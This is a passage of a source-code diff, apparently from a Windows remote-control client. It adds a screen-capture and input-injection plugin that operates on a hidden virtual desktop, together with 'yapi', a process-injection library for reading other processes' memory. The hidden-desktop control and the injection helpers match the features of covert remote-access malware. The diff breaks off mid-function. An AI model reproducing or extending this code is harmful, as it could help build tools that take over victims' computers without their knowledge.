+				if (frames == ++c1) { // 连续一定次数耗时长
+					s0 = (s0 <= 500) ? s0 * alpha : s0;
+					c1 = 0;
+#ifdef _DEBUG
+					if (s0 > 40)
+						Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
+#endif
+				}
+			}
+			else if (span > 0) { // 发送数据耗时比s0短，表示网络较好或数据包较小
+				c1 = 0;
+				if (frames == ++c2) { // 连续一定次数耗时短
+					s0 = (s0 >= 40) ? s0 / alpha : s0;
+					c2 = 0;
+#ifdef _DEBUG
+					if (s0 > 40)
+						Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
+#endif
+				}
+			}
+			last = clock();
+			This->SendNextScreen(szBuffer, ulNextSendLength);
+		}
+		timeEndPeriod(1);
+		Mprintf("ScreenWorkThread Exit\n");
+
+		return 0;
+	}
+
+	virtual DWORD ControlProcess() {
+		CScreenManagerBase* pThis = this;
+		pThis->WaitForDialogOpen();
+		while (pThis->IsConnect() && pThis->m_bIsWorking) {
+			// 分辨率大小改变了
+			if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
+				pThis->ResetScreen(pThis->GetCurrentPixelBits());
+				Sleep(2000);
+			}
+			Sleep(10);
+		}
+		return -1;
+	}
+
+	static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
+		CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
+		return pThis->WorkProcess();
+	}
+
+	static DWORD WINAPI ControlThread(LPVOID lparam) {
+		CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
+		return pThis->ControlProcess();
+	}
+
+	std::wstring ConvertToWString(const std::string& multiByteStr) {
+		int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
+		if (len == 0) return L""; // 转换失败
+
+		std::wstring wideStr(len, L'\0');
+		MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
+
+		return wideStr;
+	}
+
+	std::string GetTitle(HWND hWnd) {
+		char title[256] = { 0 }; // 预留缓冲区（置零，避免无标题/无效窗口时读到未初始化内存）
+		GetWindowTextA(hWnd, title, sizeof(title));
+		return title;
+	}
+
+	virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
+		bool bReturn = false;
+
+		try {
+			if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
+				return false;
+
+			TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
+			TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
+
+			strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
+
+			std::wstring path = ConvertToWString(pszApplicationFilePath);
+			if (!PathIsExe(path.c_str()))
+				return false;
+			PathRemoveFileSpec(szDirectoryName);
+			STARTUPINFO sInfo = { 0 };
+			PROCESS_INFORMATION pInfo = { 0 };
+
+			sInfo.cb = sizeof(sInfo);
+			sInfo.lpDesktop = pszDesktopName;
+
+			//Launching a application into desktop
+			BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
+				NULL,
+				NULL,
+				NULL,
+				TRUE,
+				NORMAL_PRIORITY_CLASS,
+				NULL,
+				szDirectoryName,
+				&sInfo,
+				&pInfo);
+			CloseHandle(pInfo.hProcess);
+			CloseHandle(pInfo.hThread);
+			TCHAR* pszError = NULL;
+			FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
+				NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
+
+			if (pszError) {
+				Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
+				LocalFree(pszError);  // 释放内存
+			}
+
+			if (bCreateProcessReturn)
+				bReturn = true;
+
+		}
+		catch (...) {
+			bReturn = false;
+		}
+
+		return bReturn;
+	}
+
+	virtual VOID SendBitMapInfo() {
+		const ULONG   ulLength = 1 + sizeof(BITMAPINFOHEADER);
+		LPBYTE	szBuffer = new BYTE[ulLength];
+		szBuffer[0] = m_DlgToken;
+		memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
+		m_ClientObject->Send2Server((char*)szBuffer, ulLength);
+		SAFE_DELETE_ARRAY(szBuffer);
+	}
+
+	virtual void SendScreenSize()
+	{
+		RECT rect = m_ScreenSpyObject->GetScreenRect();
+		BYTE lpBuffer[sizeof(RECT) + 1];
+		lpBuffer[0] = TOKEN_SCREEN_SIZE;
+		memcpy(lpBuffer + 1, &rect, sizeof(RECT));
+		Send(lpBuffer, sizeof(lpBuffer));
+	}
+
+	virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
+		int msgSize = sizeof(MYMSG);
+		if (ulLength % 28 == 0)         // 32位控制端发过来的消息
+			msgSize = 28;
+		else if (ulLength % 48 == 0)    // 64位控制端发过来的消息
+			msgSize = 48;
+		else return;                    // 数据包不合法
+		ULONG ulMsgCount = ulLength / msgSize;
+		BYTE* ptr = szBuffer;
+		MSG32 msg32;
+		MSG64 msg64;
+		if (nullptr == g_hDesk) {
+			// 命令个数
+			// 处理多个命令
+			for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
+				MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
+					(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
+				switch (Msg->message) {
+				case WM_LBUTTONDOWN: case WM_LBUTTONUP:
+				case WM_RBUTTONDOWN: case WM_RBUTTONUP:
+				case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
+				case WM_MBUTTONDOWN: case WM_MBUTTONUP:
+				case WM_MOUSEMOVE: {
+					POINT Point;
+					Point.x = LOWORD(Msg->lParam);
+					Point.y = HIWORD(Msg->lParam);
+					m_ScreenSpyObject->PointConversion(Point);
+					SetCursorPos(Point.x, Point.y);
+					SetCapture(WindowFromPoint(Point));
+				}
+								 break;
+				default:
+					break;
+				}
+
+				switch (Msg->message) {
+				case WM_LBUTTONDOWN:
+					mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
+					break;
+				case WM_LBUTTONUP:
+					mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
+					break;
+				case WM_RBUTTONDOWN:
+					mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
+					break;
+				case WM_RBUTTONUP:
+					mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
+					break;
+				case WM_LBUTTONDBLCLK:
+					mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
+					mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
+					break;
+				case WM_RBUTTONDBLCLK:
+					mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
+					mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
+					break;
+				case WM_MBUTTONDBLCLK:
+					mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
+					mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
+					break;
+				case WM_MBUTTONDOWN:
+					mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
+					break;
+				case WM_MBUTTONUP:
+					mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
+					break;
+				case WM_MOUSEWHEEL:
+					mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
+					break;
+				case WM_KEYDOWN: case WM_SYSKEYDOWN:
+					keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
+					break;
+				case WM_KEYUP: case WM_SYSKEYUP:
+					keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
+					break;
+				default:
+					break;
+				}
+			}
+		} else { // 虚拟桌面
+			HWND  hWnd = NULL;
+			BOOL  mouseMsg = FALSE;
+			POINT lastPointCopy = {};
+			SetThreadDesktop(g_hDesk);
+			for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
+				MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
+					(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
+				switch (msg->message) {
+				case WM_KEYUP:
+					return;
+				case WM_CHAR:
+
+				case WM_KEYDOWN: {
+					m_point = m_lastPoint;
+					hWnd = WindowFromPoint(m_point);
+					break;
+				}
+				case WM_RBUTTONDOWN: {
+					// 记录右键按下时的坐标
+					m_rmouseDown = TRUE;
+					m_rclickPoint = msg->pt;
+					break;
+				}
+				case WM_RBUTTONUP: {
+					m_rmouseDown = FALSE;
+					m_rclickWnd = WindowFromPoint(m_rclickPoint);
+					// 检查是否为系统菜单（如任务栏）
+					char szClass[256] = { 0 };
+					GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
+					Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
+					if (strcmp(szClass, "Shell_TrayWnd") == 0) {
+						// 触发系统级右键菜单（任务栏）
+						PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
+							MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
+					}
+					else {
+						// 普通窗口的右键菜单
+						if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
+							MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
+							// 附加：模拟键盘按下Shift+F10（备用菜单触发方式）
+							keybd_event(VK_SHIFT, 0, 0, 0);
+							keybd_event(VK_F10, 0, 0, 0);
+							keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
+							keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
+						}
+					}
+					break;
+				}
+				default:
+				{
+					mouseMsg = TRUE;
+					m_point = msg->pt;
+					hWnd = WindowFromPoint(m_point);
+					lastPointCopy = m_lastPoint;
+					m_lastPoint = m_point;
+					if (msg->message == WM_LBUTTONUP) {
+						if (m_rclickWnd && hWnd != m_rclickWnd)
+						{
+							PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
+							PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
+							m_rclickWnd = nullptr;
+						}
+						m_lmouseDown = FALSE;
+						LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
+						switch (lResult) {
+						case HTTRANSPARENT: {
+							SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
+							lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
+							break;
+						}
+						case HTCLOSE: {// 关闭窗口
+							PostMessageA(hWnd, WM_CLOSE, 0, 0);
+							Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
+							break;
+						}
+						case HTMINBUTTON: {// 最小化
+							PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
+							Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
+							break;
+						}
+						case HTMAXBUTTON: {// 最大化
+							WINDOWPLACEMENT windowPlacement;
+							windowPlacement.length = sizeof(windowPlacement);
+							GetWindowPlacement(hWnd, &windowPlacement);
+							if (windowPlacement.flags & SW_SHOWMAXIMIZED)
+								PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
+							else
+								PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
+							Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
+							break;
+						}
+						}
+					}
+					else if (msg->message == WM_LBUTTONDOWN) {
+						m_lmouseDown = TRUE;
+						m_hResMoveWindow = NULL;
+						RECT startButtonRect;
+						HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
+						GetWindowRect(hStartButton, &startButtonRect);
+						if (PtInRect(&startButtonRect, m_point)) {
+							PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
+							continue;
+						}
+						else {
+							char windowClass[MAX_PATH] = { 0 };
+							RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
+							if (!lstrcmpA(windowClass, "#32768")) {
+								HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
+								int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
+								int itemId = GetMenuItemID(hMenu, itemPos);
+								PostMessageA(hWnd, 0x1e5, itemPos, 0);
+								PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
+								continue;
+							}
+						}
+					}
+					else if (msg->message == WM_MOUSEMOVE) {
+						if (!m_lmouseDown)
+							continue;
+						if (!m_hResMoveWindow)
+							m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
+						else
+							hWnd = m_hResMoveWindow;
+						int moveX = lastPointCopy.x - m_point.x;
+						int moveY = lastPointCopy.y - m_point.y;
+
+						RECT rect;
+						GetWindowRect(hWnd, &rect);
+						int x = rect.left;
+						int y = rect.top;
+						int width = rect.right - rect.left;
+						int height = rect.bottom - rect.top;
+						switch (m_resMoveType) {
+						case HTCAPTION: {
+							x -= moveX;
+							y -= moveY;
+							break;
+						}
+						case HTTOP: {
+							y -= moveY;
+							height += moveY;
+							break;
+						}
+						case HTBOTTOM: {
+							height -= moveY;
+							break;
+						}
+						case HTLEFT: {
+							x -= moveX;
+							width += moveX;
+							break;
+						}
+						case HTRIGHT: {
+							width -= moveX;
+							break;
+						}
+						case HTTOPLEFT: {
+							y -= moveY;
+							height += moveY;
+							x -= moveX;
+							width += moveX;
+							break;
+						}
+						case HTTOPRIGHT: {
+							y -= moveY;
+							height += moveY;
+							width -= moveX;
+							break;
+						}
+						case HTBOTTOMLEFT: {
+							height -= moveY;
+							x -= moveX;
+							width += moveX;
+							break;
+						}
+						case HTBOTTOMRIGHT: {
+							height -= moveY;
+							width -= moveX;
+							break;
+						}
+						default:
+							continue;
+						}
+						MoveWindow(hWnd, x, y, width, height, FALSE);
+						m_hResMoveWindow = hWnd;
+						continue;
+					}
+					break;
+				}
+				}
+				for (HWND currHwnd = hWnd;;) {
+					hWnd = currHwnd;
+					ScreenToClient(currHwnd, &m_point);
+					currHwnd = ChildWindowFromPoint(currHwnd, m_point);
+					if (!currHwnd || currHwnd == hWnd)
+						break;
+				}
+				if (mouseMsg)
+					msg->lParam = MAKELPARAM(m_point.x, m_point.y);
+				PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
+			}
+		}
+	}
+
+public: // 纯虚函数
+	virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
+	virtual void InitScreenSpy() = 0;
+
+	HDESK               g_hDesk;
+	std::string         m_DesktopID;
+	void*				m_ptrUser;
+	ScreenCapture*		m_ScreenSpyObject;
+	BOOL                m_bIsWorking;
+	long                m_oldwidth, m_oldheigh;
+	int	                m_biBitCount;
+	int	                m_fps;
+	int					m_DlgToken; // 这个值决定打开哪个对话框
+	HANDLE	            m_hWorkThread, m_hBlankThread;
+
+	// 虚拟桌面
+	POINT               m_point;
+	POINT               m_lastPoint;
+	BOOL                m_lmouseDown;
+	HWND                m_hResMoveWindow;
+	LRESULT             m_resMoveType;
+	BOOL				m_rmouseDown;      // 标记右键是否按下
+	POINT				m_rclickPoint;     // 右键点击坐标
+	HWND				m_rclickWnd;	   // 右键窗口
+};
+
+} // namespace SimplePluginsScreenHide

client/yapi.hpp

@@ -0,0 +1,915 @@
+/*
+  yapi -- Yet Another Process Injector / Your API
+  A fusion library that reduce differences between x64, wow64 and x86 processes based on rewolf-wow64ext.
+
+  Copyright (c) 2010-2018 <http://ez8.co> <orca.zhang@yahoo.com>
+  This library is released under the MIT License.
+
+  Please see LICENSE file or visit https://github.com/ez8-co/yapi for details.
+*/
+#pragma once
+
+#define WIN32_NO_STATUS
+#include <windows.h>
+#include <winternl.h>
+
+#include <tchar.h>
+#include <vector>
+#include <string>
+
+#ifndef NT_SUCCESS
+#define NT_SUCCESS(Status)			(((NTSTATUS)(Status)) >= 0)
+#endif
+
+#include <TlHelp32.h>
+
+namespace detail {
+	static HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
+	static HANDLE hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
+
+	inline BOOL Is64BitOS()
+	{
+		SYSTEM_INFO systemInfo = { 0 };
+		GetNativeSystemInfo(&systemInfo);
+		return systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64
+			|| systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64;
+	}
+	static const BOOL is64BitOS = Is64BitOS();
+
+	struct GCBase
+	{
+		virtual DWORD64 toDWORD64() = 0;
+		virtual void gc() = 0;
+	};
+	struct GCHelper
+	{
+		~GCHelper() {
+			for (size_t i = 0; i < _ptrs.size(); i++) {
+				_ptrs[i]->gc();
+				delete _ptrs[i];
+			}
+		}
+		DWORD64 add(GCBase* ptr) { _ptrs.push_back(ptr); return ptr->toDWORD64(); }
+	private:
+		std::vector<GCBase*> _ptrs;
+	};
+}
+
+namespace yapi {
+
+	typedef std::basic_string<TCHAR, std::char_traits<TCHAR>, std::allocator<TCHAR> > tstring;
+
+	#ifndef UNICODE
+		static std::string _W2T(const wchar_t* wcs)
+		{
+			int len = ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, NULL, 0, 0, 0);
+			std::string ret(len, 0);
+			assert(0 != ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, &ret[0], len, 0, 0));
+			ret.resize(len - 1);
+			return ret;
+		}
+	#else
+		#define _W2T(str) std::wstring(str)
+	#endif
+
+	#define REPEAT_0(macro) 
+	#define REPEAT_1(macro) REPEAT_0(macro)
+	#define REPEAT_2(macro) REPEAT_1(macro) macro(1)
+	#define REPEAT_3(macro) REPEAT_2(macro) macro(2)
+	#define REPEAT_4(macro) REPEAT_3(macro) macro(3)
+	#define REPEAT_5(macro) REPEAT_4(macro) macro(4)
+	#define REPEAT_6(macro) REPEAT_5(macro) macro(5)
+	#define REPEAT_7(macro) REPEAT_6(macro) macro(6)
+	#define REPEAT_8(macro) REPEAT_7(macro) macro(7)
+	#define REPEAT_9(macro) REPEAT_8(macro) macro(8)
+	#define REPEAT_10(macro) REPEAT_9(macro) macro(9)
+	#define REPEAT_11(macro) REPEAT_10(macro) macro(10)
+	#define REPEAT_12(macro) REPEAT_11(macro) macro(11)
+	#define REPEAT_13(macro) REPEAT_12(macro) macro(12)
+	#define REPEAT_14(macro) REPEAT_13(macro) macro(13)
+	#define REPEAT_15(macro) REPEAT_14(macro) macro(14)
+	#define REPEAT_16(macro) REPEAT_15(macro) macro(15)
+	#define REPEAT_17(macro) REPEAT_16(macro) macro(16)
+	#define REPEAT_18(macro) REPEAT_17(macro) macro(17)
+	#define REPEAT_19(macro) REPEAT_18(macro) macro(18)
+	#define REPEAT_20(macro) REPEAT_19(macro) macro(19)
+
+	#define END_MACRO_0(macro) 
+	#define END_MACRO_1(macro) macro(1)
+	#define END_MACRO_2(macro) macro(2)
+	#define END_MACRO_3(macro) macro(3)
+	#define END_MACRO_4(macro) macro(4)
+	#define END_MACRO_5(macro) macro(5)
+	#define END_MACRO_6(macro) macro(6)
+	#define END_MACRO_7(macro) macro(7)
+	#define END_MACRO_8(macro) macro(8)
+	#define END_MACRO_9(macro) macro(9)
+	#define END_MACRO_10(macro) macro(10)
+	#define END_MACRO_11(macro) macro(11)
+	#define END_MACRO_12(macro) macro(12)
+	#define END_MACRO_13(macro) macro(13)
+	#define END_MACRO_14(macro) macro(14)
+	#define END_MACRO_15(macro) macro(15)
+	#define END_MACRO_16(macro) macro(16)
+	#define END_MACRO_17(macro) macro(17)
+	#define END_MACRO_18(macro) macro(18)
+	#define END_MACRO_19(macro) macro(19)
+	#define END_MACRO_20(macro) macro(20)
+
+	#define REPEAT(n, macro, end_macro) REPEAT_##n (macro) END_MACRO_##n(end_macro)
+
+	#define __ARG(n) P ## n
+	#define __PARAM(n) p ## n
+	#define __ARG_DECL(n) __ARG(n) __PARAM(n)
+
+	#define TEMPLATE_ARG(n) typename __ARG(n)
+	#define VOID_TEMPLATE_ARGS(n) typename __ARG(n),
+
+	#define ARG_DECL(n) __ARG_DECL(n) ,
+	#define END_ARG_DECL(n) __ARG_DECL(n)
+
+	#define DECL_VOID_TEMPLATE_ARGS(n) REPEAT(n, VOID_TEMPLATE_ARGS, TEMPLATE_ARG)
+	#define DECL_PARAMS_LIST(n) REPEAT(n, ARG_DECL, END_ARG_DECL)
+
+	namespace {
+		template <class T>
+		struct _UNICODE_STRING_T {
+			union {
+				struct {
+					WORD Length;
+					WORD MaximumLength;
+				};
+				T dummy;
+			};
+			T Buffer;
+		};
+
+		template <typename T>
+		struct _LIST_ENTRY_T {
+			T Flink;
+			T Blink;
+		};
+
+		template <typename T>
+		struct _PEB_T {
+			T dummy01;
+			T Mutant;
+			T ImageBaseAddress;
+			T Ldr;
+			// omit unused fields
+		};
+
+		typedef _PEB_T<DWORD>   PEB32;
+		typedef _PEB_T<DWORD64> PEB64;
+
+		typedef struct _PROCESS_BASIC_INFORMATION32 {
+			NTSTATUS ExitStatus;
+			UINT32 PebBaseAddress;
+			UINT32 AffinityMask;
+			UINT32 BasePriority;
+			UINT32 UniqueProcessId;
+			UINT32 InheritedFromUniqueProcessId;
+		} PROCESS_BASIC_INFORMATION32;
+
+		typedef struct _PROCESS_BASIC_INFORMATION64 {
+			NTSTATUS ExitStatus;
+			UINT32 Reserved0;
+			UINT64 PebBaseAddress;
+			UINT64 AffinityMask;
+			UINT32 BasePriority;
+			UINT32 Reserved1;
+			UINT64 UniqueProcessId;
+			UINT64 InheritedFromUniqueProcessId;
+		} PROCESS_BASIC_INFORMATION64;
+
+		template <class T>
+		struct _PEB_LDR_DATA_T {
+			DWORD Length;
+			DWORD Initialized;
+			T SsHandle;
+			_LIST_ENTRY_T<T> InLoadOrderModuleList;
+			// omit unused fields
+		};
+
+		typedef _PEB_LDR_DATA_T<DWORD>   PEB_LDR_DATA32;
+		typedef _PEB_LDR_DATA_T<DWORD64> PEB_LDR_DATA64;
+
+		template <class T>
+		struct _LDR_DATA_TABLE_ENTRY_T {
+			_LIST_ENTRY_T<T> InLoadOrderLinks;
+			_LIST_ENTRY_T<T> InMemoryOrderLinks;
+			_LIST_ENTRY_T<T> InInitializationOrderLinks;
+			T DllBase;
+			T EntryPoint;
+			union {
+				DWORD SizeOfImage;
+				T dummy01;
+			};
+			_UNICODE_STRING_T<T> FullDllName;
+			_UNICODE_STRING_T<T> BaseDllName;
+			// omit unused fields
+		};
+
+		typedef _LDR_DATA_TABLE_ENTRY_T<DWORD>   LDR_DATA_TABLE_ENTRY32;
+		typedef _LDR_DATA_TABLE_ENTRY_T<DWORD64> LDR_DATA_TABLE_ENTRY64;
+
+		size_t tcslen(const char* str) { return strlen(str); }
+		size_t tcslen(const wchar_t* str) { return wcslen(str); }
+	}
+
+	inline DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName);
+
+	#ifdef _WIN64
+		typedef NTSTATUS(WINAPI *NT_QUERY_INFORMATION_PROCESS)(
+			HANDLE ProcessHandle, ULONG ProcessInformationClass,
+			PVOID ProcessInformation, UINT32 ProcessInformationLength,
+			UINT32 * ReturnLength);
+
+		static NT_QUERY_INFORMATION_PROCESS NtWow64QueryInformationProcess64 = (NT_QUERY_INFORMATION_PROCESS)GetProcAddress((HMODULE)detail::hNtDll, "NtQueryInformationProcess");
+		#define NtWow64ReadVirtualMemory64         ReadProcessMemory
+
+	#else
+
+		namespace {
+			typedef NTSTATUS(WINAPI *NT_WOW64_QUERY_INFORMATION_PROCESS64)(
+				HANDLE ProcessHandle, UINT32 ProcessInformationClass,
+				PVOID ProcessInformation, UINT32 ProcessInformationLength,
+				UINT32* ReturnLength);
+
+			typedef NTSTATUS(WINAPI *NT_WOW64_READ_VIRTUAL_MEMORY64)(
+				HANDLE ProcessHandle, PVOID64 BaseAddress,
+				PVOID BufferData, UINT64 BufferLength,
+				PUINT64 ReturnLength);
+
+			static NT_WOW64_QUERY_INFORMATION_PROCESS64 NtWow64QueryInformationProcess64 = (NT_WOW64_QUERY_INFORMATION_PROCESS64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64QueryInformationProcess64");
+			static NT_WOW64_READ_VIRTUAL_MEMORY64 NtWow64ReadVirtualMemory64 = (NT_WOW64_READ_VIRTUAL_MEMORY64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64ReadVirtualMemory64");
+		}
+
+	#endif
+
+	inline DWORD64 WINAPI GetModuleHandle(HANDLE hProcess, const TCHAR* moduleName)
+	{
+		if (!moduleName) return 0;
+		if (!hProcess) hProcess = detail::hCurProcess;
+
+		HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, GetProcessId(hProcess));
+		if (hSnap == INVALID_HANDLE_VALUE) return 0;
+		MODULEENTRY32 mod = { sizeof(mod) };
+		if (Module32First(hSnap, &mod)) {
+			do {
+				if (!_tcsicmp(mod.szModule, moduleName)) {
+					CloseHandle(hSnap);
+					return (DWORD64)mod.hModule;
+				}
+			} while (Module32Next(hSnap, &mod));
+		}
+		CloseHandle(hSnap);
+		return 0;
+	}
+
+	DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName)
+	{
+		if (!hModule || !funcName) return 0;
+		if (!hProcess) hProcess = detail::hCurProcess;
+
+		IMAGE_DOS_HEADER idh;
+		NTSTATUS status = ReadProcessMemory(hProcess, (PVOID)hModule, (PVOID)&idh, sizeof(idh), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		IMAGE_NT_HEADERS32 inh;
+		status = ReadProcessMemory(hProcess, (PVOID)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+		if (!idd.VirtualAddress)return 0;
+
+		IMAGE_EXPORT_DIRECTORY ied;
+		status = ReadProcessMemory(hProcess, (PVOID)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		std::vector<DWORD> nameTable(ied.NumberOfNames);
+		status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
+			std::string func(strlen(funcName), 0);
+			status = ReadProcessMemory(hProcess, (PVOID)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
+			if (!NT_SUCCESS(status)) continue;
+
+			if (func == funcName) {
+				WORD ord = 0;
+				status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
+				if (!NT_SUCCESS(status)) continue;
+
+				DWORD rva = 0;
+				status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
+				if (!NT_SUCCESS(status)) continue;
+
+				return hModule + rva;
+			}
+		}
+		return 0;
+	}
+
+	inline DWORD64 WINAPI GetModuleHandle64(HANDLE hProcess, const TCHAR* moduleName)
+	{
+		if (!moduleName) return 0;
+		if (!hProcess) hProcess = detail::hCurProcess;
+
+	#ifndef _WIN64
+		if (!NtWow64QueryInformationProcess64 || !NtWow64ReadVirtualMemory64) return 0;
+	#endif
+
+		PROCESS_BASIC_INFORMATION64 pbi = { 0 };
+		const int ProcessBasicInformation = 0;
+		NTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		PEB64 peb;
+		status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		PEB_LDR_DATA64 ldr;
+		status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)peb.Ldr, (PVOID)&ldr, sizeof(ldr), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		DWORD64 LastEntry = peb.Ldr + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList);
+
+		LDR_DATA_TABLE_ENTRY64 head;
+		head.InLoadOrderLinks.Flink = ldr.InLoadOrderModuleList.Flink;
+		do {
+			status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.InLoadOrderLinks.Flink, (PVOID)&head, sizeof(head), NULL);
+			if (!NT_SUCCESS(status)) continue;
+
+			std::wstring modName((size_t)head.BaseDllName.MaximumLength, 0);
+			status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.BaseDllName.Buffer, (PVOID)&modName[0], head.BaseDllName.MaximumLength, NULL);
+			if (!NT_SUCCESS(status)) continue;
+
